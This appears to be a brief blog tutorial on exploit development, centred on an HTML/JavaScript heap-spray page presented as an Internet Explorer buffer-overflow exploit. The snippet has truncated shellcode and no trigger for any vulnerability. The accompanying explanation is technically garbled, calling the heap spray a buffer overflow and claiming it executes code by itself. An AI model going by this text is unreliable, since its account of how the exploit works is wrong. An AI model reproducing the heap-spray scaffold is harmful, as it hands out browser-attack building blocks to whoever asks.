An Introduction to Exploit Development: Building Your Own Exploits

Exploit development is a key area of security research and a popular topic among the computer security community. Developing exploits can be a complex task, but with some knowledge and understanding of the basics, anyone can learn to write their own exploit. In this blog post, we will explore the basics of exploit development and provide a simple example of an exploit written in HTML.

What Is Exploit Development?

Exploit development is the process of developing code that takes advantage of vulnerabilities (such as buffer overflows) in software applications to execute arbitrary code. Exploits are typically written in low-level programming languages like C, Python or assembly, but they can also be written in higher level programming languages such as JavaScript, HTML, and PHP.

The Basics of Exploit Development

Exploit development involves the following steps:
  • Identifying vulnerable software
  • Finding a vulnerability in the software
  • Creating a proof of concept exploit
  • Testing the exploit
  • Tweaking the exploit for maximum effectiveness
In order to develop an exploit, you need to have a thorough understanding of the underlying system, the types of vulnerabilities that can be exploited, and the capabilities of the language in which the exploit is written. You also need to have a good grasp of operating system fundamentals like memory management, processor architecture, and system calls.

An Example Exploit

Let's take a look at an example exploit written in HTML. This exploit takes advantage of a vulnerability in Microsoft's Internet Explorer browser. The vulnerability involves a buffer overflow caused by viewing a specially crafted HTML page in the browser. The exploit we will use takes advantage of the buffer overflow to execute arbitrary code on the target system. Here is the HTML code for the exploit:
<html>
  <head>
    <title>Exploit for IE Vulnerability</title>
  </head>
  <body>
    <script>
      var shellcode = unescape(
        "%u9090%u6858%uC033%u0000%u2F2F%u7360%u5A90%..."
      );
      var nops = unescape("%u9090%u9090");
      while (nops.length < 0x1000) nops += nops;
      var block = nops.substring(0, 0xEC4 - shellcode.length);
      var memory = new Array();
      for (var i = 0; i < 0x99A; i++) {
        memory[i] = block + shellcode;
      }
    </script>
  </body>
</html>
This code sets up a buffer overflow by creating an array of memory blocks containing the exploit code. The exploit code is then used to execute arbitrary code on the target system.

Conclusion

Exploiting vulnerabilities can be a difficult and time consuming process, but with some knowledge of the fundamentals, anyone can learn to write their own exploit. In this blog post, we took a look at the basics of exploit development and provided a simple example of an exploit written in HTML. With some dedication and practice, you too can be creating your own exploits in no time.
